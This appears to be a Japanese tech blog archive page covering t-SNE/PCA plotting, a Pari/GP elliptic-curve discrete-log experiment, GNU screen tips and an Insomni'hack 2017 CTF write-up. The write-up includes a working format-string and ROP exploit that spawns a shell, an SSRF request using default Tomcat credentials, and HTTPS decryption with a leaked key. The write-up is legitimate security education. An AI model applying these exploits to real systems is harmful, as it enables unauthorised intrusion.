MNISTデータセットのt-SNE散布図を描いてみる

t-SNEで2次元に次元削減して散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.manifold import TSNE

digits = datasets.load_digits()

print digits.data.shape
# (1797, 64)

print digits.target.shape
# (1797,)

X_reduced = TSNE(n_components=2, random_state=0).fit_transform(digits.data)

print X_reduced.shape
# (1797, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target)
plt.colorbar()
# <matplotlib.colorbar.Colorbar at 0x7ff21173ee90>

f:id:inaz2:20170124161610p:plain

上の結果から、データポイント間の距離をもとに、64次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。

関連リンク

scikit-learnでPCA散布図を描いてみる

高次元の特徴量を持つデータの分布をおおまかに把握する方法として、PCA(主成分分析)で次元削減した後散布図を描く方法がある。 ここでは、Dockerを用いてデータ分析プラットフォームAnaconda環境を構築し、scikit-learnを使ってPCA散布図を描いてみる。

環境

Ubuntu 16.04.1 LTS 64bit版、Docker 1.12.5

$ uname -a
Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ docker --version
Docker version 1.12.5, build 7392c3b

DockerでAnaconda環境を構築する

Anacondaはデータ分析・機械学習に特化したPythonディストリビューションであり、Numpy、Scipy、Matplotlib、Sympy、scikit-learn、pandasなどのライブラリやブラウザ上から対話的なスクリプト実行、プロット表示が行えるJupyter Notebookが標準でインストールされている。 今回はscikit-learnとMatplotlibしか使わないが、Jupyter Notebookを利用することでプロット結果の確認が簡単になるため、Anacondaを利用することにする。

Anacondaは公式でDockerイメージを提供しており、これを利用すると簡単に環境を構築することができる。

$ docker pull continuumio/anaconda
Using default tag: latest
latest: Pulling from continuumio/anaconda

8ad8b3f87b37: Pull complete
fa2bdab78aa4: Pull complete
074a37ca9de6: Pull complete
751e84aa2169: Pull complete
Digest: sha256:6e2b524bce61a32b1a85bb4fc88ba8f2079e3b41d8b324250a3be35c45d7d9ee
Status: Downloaded newer image for continuumio/anaconda:latest

$ docker run -i -t -p 8888:8888 continuumio/anaconda /bin/bash -c "/opt/conda/bin/conda install jupyter -y --quiet && mkdir /opt/notebooks && /opt/conda/bin/jupyter notebook --notebook-dir=/opt/notebooks --ip='*' --port=8888 --no-browser"

サーバが起動したら、ブラウザからhttp://[host ip address]:8888/を開くことでJupyter Notebookにアクセスできる。

f:id:inaz2:20170123193200p:plain

irisデータセットのPCA散布図を描いてみる

PCA(Principal Component Analysis; 主成分分析)は、高次元の特徴量を持つデータについて、元のデータのばらつきをよく表す低次元の合成変数を得る手法である。

ここでは分析対象として、有名なサンプルデータセットであるirisを用いることにする。

上の例を参考に、PCAで2次元に次元削減して散布図を描いてみると次のようになる。

%matplotlib inline
import matplotlib.pyplot as plt
from sklearn import datasets
from sklearn.decomposition import PCA

iris = datasets.load_iris()

print iris.data.shape
# (150, 4)

print iris.target
"""
[0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2
 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
 2 2]
"""

X_reduced = PCA(n_components=2).fit_transform(iris.data)

print X_reduced.shape
# (150, 2)

plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=iris.target)
# <matplotlib.collections.PathCollection at 0x7f5d087be4d0>

f:id:inaz2:20170123203948p:plain

上の結果から、4次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。

Insomni'hack teaser 2017 供養(Writeup)

CTF

Insomni'hack teaser 2017に参加。250ptで93位。

baby (Pwn 50)

NX、PIE、FullRELROが有効なx86-64 ELF。

# file baby
baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped

# gdb -q ./baby
Reading symbols from ./baby...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

TCP 1337で接続を待ち受けるfork server型になっており、

  • Stack buffer overflow
  • Format string bug
  • Heap overflow

が自由に起こせるようになっている。

Format string bugでcanaryや実行ファイル、libcのベースアドレスをリークした後、Stack buffer overflowからROPして解いた。 libcのベースアドレスはmain関数からのリターンアドレスを使って計算することができる。

from minipwn import *

def stack_overflow(s, buf):
    print recvuntil(s, '> ')
    sendline(s, '1')
    print recvuntil(s, '? ')
    sendline(s, str(len(buf)+1))
    sendline(s, buf)
    print recvline(s)

def format_string(s, buf):
    print recvuntil(s, '> ')
    sendline(s, '2')
    print recvuntil(s, '> ')
    sendline(s, buf)
    data = recvline(s)
    print recvuntil(s, '> ')
    sendline(s, '')
    return data

#s = socket.create_connection(('localhost', 1337))
s = socket.create_connection(('baby.teaser.insomnihack.ch', 1337))

data = format_string(s, '%138$p.%139$p.%140$p.%158$p')
addrs = [int(x,16) for x in data.split('.')]
canary, saved_ebp, bin_base, libc_base = addrs[0], addrs[1], addrs[2]-0x19cf, addrs[3]-0x20830
print "[+] canary = %x" % canary
print "[+] saved_ebp = %x" % saved_ebp
print "[+] bin_base = %x" % bin_base
print "[+] libc_base = %x" % libc_base

addr_bss = bin_base + 0x0000000000203010
addr_csu_init1 = bin_base + 0x1c7e
addr_csu_init2 = bin_base + 0x1c68
addr_pop_rdi = bin_base + 0x1c8b
got_recv = bin_base + 0x202eb8
#libc_system = libc_base + 0x0000000000045380
#addr_pop_rcx = libc_base + 0x00050233
libc_system = libc_base + 0x0000000000045390
addr_pop_rcx = libc_base + 0x000fc3e2

buf = 'A' * 0x408
buf += p64(canary)
buf += 'BBBBBBBB'
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, got_recv, 16, addr_bss, 4)
buf += p64(addr_pop_rcx) + p64(0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, 0, 0, 0, 0)
buf += p64(addr_pop_rdi) + p64(addr_bss)
buf += p64(libc_system)
stack_overflow(s, buf)

s.sendall('/bin/sh <&4 >&4\x00')

print "[+] got a shell!"
interact(s)
$ python test.py
Welcome to baby's first pwn.
Pick your favorite vuln :
   1. Stack overflow
   2. Format string
   3. Heap Overflow
   4. Exit
Your choice >
Simply type '\n' to return
Your format >
Your format >
[+] canary = 7971cd723454900
[+] saved_ebp = 7ffe526fc540
[+] bin_base = 55f1410d6000
[+] libc_base = 7f129d29e000
Welcome to baby's first pwn.
Pick your favorite vuln :
   1. Stack overflow
   2. Format string
   3. Heap Overflow
   4. Exit
Your choice >
How much bytes you want to send ?
Good luck !

[+] got a shell!
id
uid=1001(baby) gid=1001(baby) groups=1001(baby)
ls
baby
flag
cat flag
INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}

cryptoquizz (Misc/Crypto 50)

ランダムに与えられる暗号学者の生年を答える問題。 100回繋いでリストを作り、それぞれ対応するWikipediaのページから特定できるものを補完。 残りは人力でGoogle検索して埋めた。

from minipwn import *

data = """Arjen K. Lenstra [1956]
Lars Knudsen [1962]
Xuejia Lai [1954]
Daniel Bleichenbacher [1964]
Douglas Stinson [1956]
Claus-Peter Schnorr [1943]
Niels Ferguson [1965]
Yvo Desmedt [1956]
Ron Rivest [1947]
Antoine Joux [1967]
Michael O. Rabin [1931]
Jim Massey [1934]
Markus Jakobsson [1968]
Martin Hellman [1945]
Alex Biryukov [1969]
Yehuda Lindell [1971]
Joan Daemen [1965]
Horst Feistel [1915]
Kaisa Nyberg [1948]
Ralph Merkle [1952]
Paul Kocher [1973]
Paulo Barreto [1965]
Whitfield Diffie [1944]
Mitsuru Matsui [1961]
David Naccache [1967]
Phil Rogaway [1962]
Eli Biham [1960]
Adi Shamir [1952]
Ronald Cramer [1968]
Shai Halevi [1966]
Donald Davies [1924]
Moni Naor [1961]
Jacques Stern [1949]
Amos Fiat [1956]
Victor S. Miller [1947]
Paul van Oorschot [1962]
Nigel P. Smart [1967]
Serge Vaudenay [1968]
Ross Anderson [1956]
Dan Boneh [1969]
Jacques Patarin [1965]
Rafail Ostrovsky [1963]
Daniel J. Bernstein [1971]
Tatsuaki Okamoto [1952]
"""

birth_year = {}
for line in data.splitlines():
    name, birth = line[:-1].split(' [')
    birth_year[name] = birth

s = socket.create_connection(('quizz.teaser.insomnihack.ch', 1031))
print s.recv(8192)

while True:
    data = s.recv(8192)
    if not data:
        break
    m = re.search(r'~~ What is the birth year of (.+?) \?', data)
    if m:
        name = m.group(1)
        print name, birth_year[name]
        sendline(s, birth_year[name])
    else:
        print data

s.close()
$ python test.py

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ Hello, young hacker. Are you ready to fight rogue machines ?    ~~
~~ Now, you'll have to prove us that you are a genuine             ~~
~~ cryptographer.                                                  ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Douglas Stinson 1956
Whitfield Diffie 1944


Lars Knudsen 1962
Antoine Joux 1967


David Naccache 1967
Donald Davies 1924


Jacques Stern 1949
Serge Vaudenay 1968



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ OK, young hacker. You are now considered to be a                ~~
~~ INS{GENUINE_CRYPTOGRAPHER_BUT_NOT_YET_A_PROVEN_SKILLED_ONE}     ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

bender_safe (Reverse 50)

MIPS ELF。

# file bender_safe
bender_safe: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped

16文字のチャレンジ文字列から計算される8文字のレスポンスを答える問題。 QEMUベースの高機能トレーサーqiraでトレースしながら、一文字ずつ計算式をリバーシングした。

下の図は3文字目の判定に失敗したあたりを見ているところ。 左側のレジスタ値とメモリのスナップショットを見ながら、右側のグラフでどのように比較される値が計算されているかを調べる。

f:id:inaz2:20170122185450p:plain

from minipwn import *

#s = socket.create_connection(('localhost', 4000))
s = socket.create_connection(('bender_safe.teaser.insomnihack.ch', 31337))
print recvuntil(s, '\n')
print recvuntil(s, '\n')
otp = recvuntil(s, '\n')
print otp

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\x00\x00\x00\x00-------------------------------'

buf = otp[0x0]
buf += otp[0xf]
buf += chr(ord(otp[0x7]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x7]) < 0x41 else chr(ord(otp[0x7]) ^ 0x4b ^ 0x61 ^ 0xa)
buf += table[table.index(otp[0x3]) - 0xa] if ord(otp[0x3]) < 0x41 else table[table.index(otp[0x3]) + 0xa]
buf += table[table.index(otp[0x4]) - 0xa] if ord(otp[0x4]) < 0x41 else table[table.index(otp[0x4]) + 0xa]
buf += table[abs(ord(otp[1])-ord(otp[2])) % 0x23]
buf += table[abs(ord(otp[5])-ord(otp[6])) % 0x23]
buf += chr(ord(otp[0x8]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x8]) < 0x41 else chr(ord(otp[0x8]) ^ 0x4b ^ 0x61 ^ 0xa)
sendline(s, buf)

interact(s)
$ python test.py
Welcome to Bender's passwords storage service

Here's your OTP challenge :

5FKU25OCL8GMEZZB

      _
     ( )
      H
      H
     _H_
  .-'-.-'-.
 /         \
|           |
|   .-------'._
|  / /  '.' '. \
|  \ \ @   @ / /
|   '---------'
|    _______|
|  .'-+-+-+|
|  '.-+-+-+|      INS{Angr_is_great!_Oh_angr_is_great!_Angr_angr_angr}
|    """""" |
'-.__   __.-'
     """

This is Bender's password vault storage
I have 54043195528445952 bytes of memory for storage!
Although 54043195528444928 of which is used to store my fembots videos...HiHiHi!
Your passwords are safe with me meatbag!
-------------------------------
|                             |
|  1. View passwords          |
|  2. Enter new passwords     |
|  3. View admin password     |
|  4. Exit                    |
|                             |
-------------------------------
4
*** Connection closed by remote host ***

angrを使ったほうがよかったかもしれない。

smarttomcat (Web 50)

パラメータで与えられたURLにアクセスするスクリプトが置かれたウェブサイト。 Tomcat Manager(http://localhost:8080/manager/html)にアクセスさせるようにすると、401 Unauthorizedエラーが返ってくる。 デフォルトの設定ファイルでコメントアウトされているアカウント情報でBasic認証の突破を試みると、フラグが得られた。

$ curl -v 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data 'u=http%3A%2F%2Ftomcat%3Atomcat%40localhost%3A8080%2Fmanager%2Fhtml'
*   Trying 54.229.3.101...
* Connected to smarttomcat.teaser.insomnihack.ch (54.229.3.101) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: smarttomcat.teaser.insomnihack.ch
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 66
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 66 out of 66 bytes
< HTTP/1.1 200 OK
< Date: Sun, 22 Jan 2017 08:41:27 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 91
< Connection: keep-alive
< Server: Apache/2.4.18 (Ubuntu)
< Vary: User-Agent,Accept-Encoding
<
We won't give you the manager, but you can have the flag : INS{th1s_is_re4l_w0rld_pent3st}
* Connection #0 to host smarttomcat.teaser.insomnihack.ch left intact

The Great Escape - part 1 (Forensics 50)

pcapng形式のパケットキャプチャファイルが与えられる。 Wiresharkで開くと、FTPでssc.keyというファイル名で秘密鍵が転送されていることがわかる。

$ strings -n8 TheGreatEscape-3859f9ed7682e1857aaa4f2bcb5867ea6fe88c74.pcapng | awk '/-----BEGIN PRIVATE KEY-----/,/-----END PRIVATE KEY-----/'
-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQC5twyPH+2U6X0Q
uxOKPTHSR6MkXGSvAz+Ax+G9DKEiBLuTTfl7dNv4oswdmT9nWlSY1kxZatNwlUF8
WAuGLntO5xTEmOJlMtBFrWGD+DVpCE9KORGvyif8e4xxi6vh4mkW78IxV03VxHM0
mk/cq5kkERfWQW81pVeYm9UAm4dj+LcCwQ9aGd/vfTtcACqS5OGtELFbsHJuFVyn
(snip)
-----END PRIVATE KEY-----
(snip)

この鍵がssc.teaser.insomnihack.chのサーバ鍵であると推測し、Wireshark52.214.142.175, 443, httpでssc.keyを追加してHTTPS通信の復号を試みたところ復号できた。 ログイン後のHTTPヘッダにフラグがある。

Frame 2236: 646 bytes on wire (5168 bits), 646 bytes captured (5168 bits) on interface 0
Linux cooked capture
Internet Protocol Version 4, Src: 172.31.36.141, Dst: 52.214.142.175
Transmission Control Protocol, Src Port: 51398, Dst Port: 443, Seq: 569, Ack: 153, Len: 578
Secure Sockets Layer
[2 Reassembled SSL segments (523 bytes): #2236(1), #2236(522)]
Hypertext Transfer Protocol
    POST /api/user.php HTTP/1.1\r\n
    Host: ssc.teaser.insomnihack.ch\r\n
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0\r\n
    Accept: application/json, text/plain, */*\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate, br\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Referer: https://ssc.teaser.insomnihack.ch/login\r\n
    Content-Length: 38\r\n
    Cookie: PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3\r\n
    FLAG: INS{OkThatWasWay2Easy}\r\n
    Connection: keep-alive\r\n
    \r\n
    [Full request URI: https://ssc.teaser.insomnihack.ch/api/user.php]
    [HTTP request 1/6]
    [Response in frame: 2247]
    [Next request in frame: 2248]
    File Data: 38 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "action" = "login"
    Form item: "name" = "rogue"
    Form item: "password" = "rogue"

所感

50pt問題しか解くことができず厳しかった。 他に解きたかった問題は以下。

  • The Great Escape - part 2 (Web 200)
  • Shobot (Web 200)
  • mindreader (Mobile 250)

Pari/GPで楕円曲線離散対数を計算してみる

Crypto

「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」では、数式処理システムPari/GPを使ってECDH鍵交換、ECDSA署名の計算を行った。 これらの楕円曲線暗号は、楕円曲線離散対数問題(ECDLP)と呼ばれる問題が計算量的に困難であることを安全性の根拠としている。 ここでは、実際にbit数の小さな楕円曲線に対して楕円曲線離散対数を計算し、簡単に解けるbit数がどのくらいか調べてみる。

環境

Ubuntu 16.04.1 LTS 64bit版、Pari/GP 2.7.5、Intel Core i5-4200U (1.6GHz * 2 * 2)

$ uname -a
Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ gp --version-short
2.7.5

$ grep "processor\|model name" /proc/cpuinfo
processor       : 0
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
processor       : 1
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
processor       : 2
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
processor       : 3
model name      : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz

楕円曲線離散対数問題(Elliptic Curve Discrete Logarithm Problem; ECDLP)

楕円曲線離散対数問題とは、有限体(mod p)上で定義した楕円曲線上の点G(生成元)と点Pについて、次の式を満たすnを求めるという問題である。

P = n * G

ここで、記号*楕円曲線におけるスカラー倍を表す。 通常の(mod p上での)離散対数が乗法群の上で定義されるのに対し、楕円曲線の場合は加法群の上で定義されるため、計算としてはスカラー倍ではあるがアナロジー的に離散対数と呼ばれる。

通常の離散対数問題と同様に、楕円曲線離散対数問題を効率的に解く方法は見つかっておらず、十分大きなpをとったときこの計算を現実的な時間で行うことは難しいとされている。 NISTによる等価安全性の評価では、160bitの楕円曲線離散対数問題が1024bitの素因数分解問題に相当するとされており、小さな数でより安全な暗号を構成することができる。

f:id:inaz2:20170120112505p:plain

Pari/GPにおける楕円曲線離散対数アルゴリズムの実装

Pari/GPでは、有限体上での楕円曲線に関するさまざまな関数が実装されており、離散対数はelllog関数で求めることができる。

ドキュメントには具体的な計算アルゴリズムが書かれていないため、その詳細をソースコードを追って調べると次のようになる。

6457 GEN
6458 elllog(GEN E, GEN a, GEN g, GEN o)
6459 {
6460   pari_sp av = avma;
6461   GEN fg, r;
6462   checkell_Fq(E); checkellpt(a); checkellpt(g);
6463   fg = ellff_get_field(E);
6464   if (!o) o = ellff_get_o(E);
6465   if (typ(fg)==t_FFELT)
6466     r = FF_elllog(E, a, g, o);
6467   else
6468   {
6469     GEN p = fg, e = ellff_get_a4a6(E);
6470     GEN Pp = FpE_changepointinv(RgE_to_FpE(a,p), gel(e,3), p);
6471     GEN Qp = FpE_changepointinv(RgE_to_FpE(g,p), gel(e,3), p);
6472     r = FpE_log(Pp, Qp, o, gel(e,1), p);
6473   }
6474   return gerepileuptoint(av, r);
6475 }
1426 GEN
1427 FF_elllog(GEN E, GEN P, GEN Q, GEN o)
1428 {
1429   pari_sp av = avma;
1430   GEN fg = ellff_get_field(E), e = ellff_get_a4a6(E);
1431   GEN r,T,p, Pp,Qp, e3;
1432   ulong pp;
1433   _getFF(fg,&T,&p,&pp);
1434   switch(fg[1])
1435   {
1436   case t_FF_FpXQ:
1437     e3 = FqV_to_FpXQV(gel(e,3),T);
1438     Pp = FpXQE_changepointinv(RgE_to_FpXQE(P,T,p), e3, T, p);
1439     Qp = FpXQE_changepointinv(RgE_to_FpXQE(Q,T,p), e3, T, p);
1440     r = FpXQE_log(Pp, Qp, o, gel(e,1), T, p);
1441     break;
1442   case t_FF_F2xq:
1443     Pp = F2xqE_changepointinv(RgE_to_F2xqE(P,T), gel(e,3), T);
1444     Qp = F2xqE_changepointinv(RgE_to_F2xqE(Q,T), gel(e,3), T);
1445     r = F2xqE_log(Pp, Qp, o, gel(e,1), T);
1446     break;
1447   default:
1448     Pp = FlxqE_changepointinv(RgE_to_FlxqE(P,T,pp), gel(e,3), T, pp);
1449     Qp = FlxqE_changepointinv(RgE_to_FlxqE(Q,T,pp), gel(e,3), T, pp);
1450     r = FlxqE_log(Pp, Qp, o, gel(e,1), T, pp);
1451   }
1452   return gerepileupto(av, r);
1453 }
1516 GEN
1517 FpXQE_log(GEN a, GEN b, GEN o, GEN a4, GEN T, GEN p)
1518 {
1519   pari_sp av = avma;
1520   struct _FpXQE e;
1521   e.a4=a4; e.T=T; e.p=p;
1522   return gerepileuptoint(av, gen_PH_log(a, b, o, (void*)&e, &FpXQE_group));
1523 }
 577 /* grp->easylog() is an optional trapdoor function that catch easy logarithms*/
 578 /* Generic Pohlig-Hellman discrete logarithm*/
 579 /* smallest integer n such that g^n=a. Assume g has order ord */
 580 GEN
 581 gen_PH_log(GEN a, GEN g, GEN ord, void *E, const struct bb_group *grp)
 582 {
 ...
 602   for (i=1; i<l; i++)
 603   {
 ...
 623     for (j=0;; j++)
 624     { /* n_q = sum_{i<j} b_i q^i */
 625       b = grp->pow(E,a0, gel(qj,e-j));
 626       /* early abort: cheap and very effective */
 627       if (j == 0 && !grp->equal1(grp->pow(E,b,q))) {
 628         avma = av; return cgetg(1, t_VEC);
 629       }
 630       b = gen_plog(b, g_q, q, E, grp);
 631       if (typ(b) != t_INT) { avma = av; return cgetg(1, t_VEC); }
 632       n_q = addii(n_q, mulii(b, gel(qj,j)));
 633       if (j == e) break;
 634
 635       a0 = grp->mul(E,a0, grp->pow(E,ginv0, b));
 636       ginv0 = grp->pow(E,ginv0, q);
 637     }
 638     gel(v,i) = mkintmod(n_q, gel(qj,e+1));
 639   }
 640   return gerepileuptoint(av, lift(chinese1_coprime_Z(v)));
 641 }
 520 /*Generic discrete logarithme in a group of prime order p*/
 521 GEN
 522 gen_plog(GEN x, GEN g, GEN p, void *E, const struct bb_group *grp)
 523 {
 524   if (grp->easylog)
 525   {
 526     GEN e = grp->easylog(E, x, g, p);
 527     if (e) return e;
 528   }
 529   if (grp->equal1(x)) return gen_0;
 530   if (grp->equal(x,g)) return gen_1;
 531   if (expi(p)<32) return gen_Shanks_log(x,g,p,E,grp);
 532   return gen_Pollard_log(x, g, p, E, grp);
 533 }

要約すると次のようになる。

Pohlig-Hellmanアルゴリズムは、中国の剰余定理を使って計算を高速化するものである。 RSAにおける中国の剰余定理の利用をイメージすると理解しやすい。

Pari/GPで楕円曲線離散対数を計算してみる

ここでは、楕円曲線として次の曲線を考える。

f:id:inaz2:20170120163449p:plain (from Wikimedia Commons)

32 bitの素数pをとって計算してみると次のようになる。

$ gp -q
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^32)));
? factor(E.no)

[    2 4]

[    7 1]

[  587 1]

[65327 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 0 ms.

ここで、E.no楕円曲線の位数、E.genはその位数となる生成元を意味する。 上の結果から、正しく楕円曲線離散対数が計算できていることがわかる。

続けて、bit数を徐々に大きくして計算してみる。

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^64)));
? factor(E.no)

[            2 3]

[       324301 1]

[7110193951261 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 40,868 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^72)));
? factor(E.no)

[              2 1]

[              3 3]

[             13 1]

[             37 1]

[           1181 1]

[153946902119671 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 2min, 40,652 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^80)));
? factor(E.no)

[                2 2]

[                3 1]

[               11 1]

[               31 1]

[            25111 1]

[11765219119332439 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 6min, 3,176 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^88)));
? factor(E.no)

[              3 2]

[    63445780987 1]

[541993853311213 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 2min, 10,601 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^96)));
? factor(E.no)

[                2 4]

[                5 2]

[                7 2]

[               79 1]

[          4227397 1]

[12103845910958041 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 14min, 24,428 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^104)));
? factor(E.no)

[               2 1]

[               5 1]

[              53 1]

[              83 1]

[    209236176689 1]

[2203579946128079 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 5min, 42,409 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^112)));
? factor(E.no)

[                   3 2]

[                  67 1]

[        214901400149 1]

[40068488248358139191 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
^C  ***   at top-level: elllog(E,P,G)
  ***                 ^-------------
  *** elllog: user interrupt after 6h, 41min, 47,320 ms
  ***   Break loop: <Return> to continue; 'break' to go back to GP prompt
break>

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^120)));
? factor(E.no)

[             3 2]

[            89 1]

[          1847 1]

[        381347 1]

[   31639547057 1]

[74464534048783 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 2min, 21,056 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^128)));
? factor(E.no)

[                3 1]

[               41 1]

[       3411655459 1]

[      22003545559 1]

[36853310066369891 1]

? G = E.gen[1];
? P = ellpow(E, G, 17320508);
? elllog(E, P, G)
17320508
? ##
  ***   last result computed in 28min, 969 ms.
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^136)));
? factor(E.no)

[                              3 2]

[                              7 1]

[                             43 1]

[                        5375779 1]

[5981760200359529611202066470309 1]

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^144)));
? factor(E.no)

[                                          2 2]

[5575186299632655785385137905034729488784923 1]

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^152)));
? factor(E.no)

[                           3 2]

[           99007815273500183 1]

[6406891275370833771228590437 1]

? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^160)));
? factor(E.no)

[                                      3 1]

[                             1381217941 1]

[352708430713639496569423242667877661011 1]

?

パラメータである素数pを基準に考えると、128bitが約30分で解けていることがわかる。 ただし、Pohlig-Hellmanアルゴリズムの原理からわかるように、実際の計算量に影響するのは位数の素因数のうち最大のものである。 これを考慮すると、56bitが約30分で解けている一方、66bitでは6時間以上の時間がかかることがわかる。

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> len(bin(36853310066369891)[2:])
56
>>> len(bin(40068488248358139191)[2:])
66

以上からわかるように、安全な楕円曲線パラメータの条件のひとつとして、生成元Gに対する位数の最大素因数が大きい(理想的には位数が素数となる)ことがいえる。 実際に、「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」で用いた楕円曲線パラメータsecp256r1の位数は256 bitの素数となっている。

$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
>>> n
115792089210356248762697446949407573529996955224135760342422259061068512044369L
>>> len(bin(n)[2:])
256

$ gp -q
? factor(115792089210356248762697446949407573529996955224135760342422259061068512044369)

[115792089210356248762697446949407573529996955224135760342422259061068512044369 1]

関連リンク

screenのウィンドウタイトルをいい感じに自動変更する方法のメモ

GNU Screenでウィンドウタイトルを

に自動変更し、非アクティブウィンドウでコマンドが終了した際にハイライトさせる方法のメモ。

ここでは、次のようにscreenrcに書いておくことで、常に各ウィンドウのタイトルが表示されている状態を想定する。

hardstatus alwayslastline "%{=r dd}%-Lw%{= BW}%50>%n%f* %t%{-}%+Lw%<"

また、シェルとしてbashを想定する。

Dynamic Titlesを使う

screenでは、適当なオプションとシェルのプロンプト文字列(PS1)を設定することで

  • 普段はシェル名などの固定文字列
  • コマンド実行中はコマンド名

をタイトルに自動設定することができる。

具体的には、screenrcに次のようなコマンドを書いておく。

shelltitle "$ |bash"

|より前はプロンプト文字列の末尾、後ろはデフォルト文字列を意味する。

次に、シェルの設定ファイル(bashrc等)でプロンプト文字列を次のような感じに設定する。

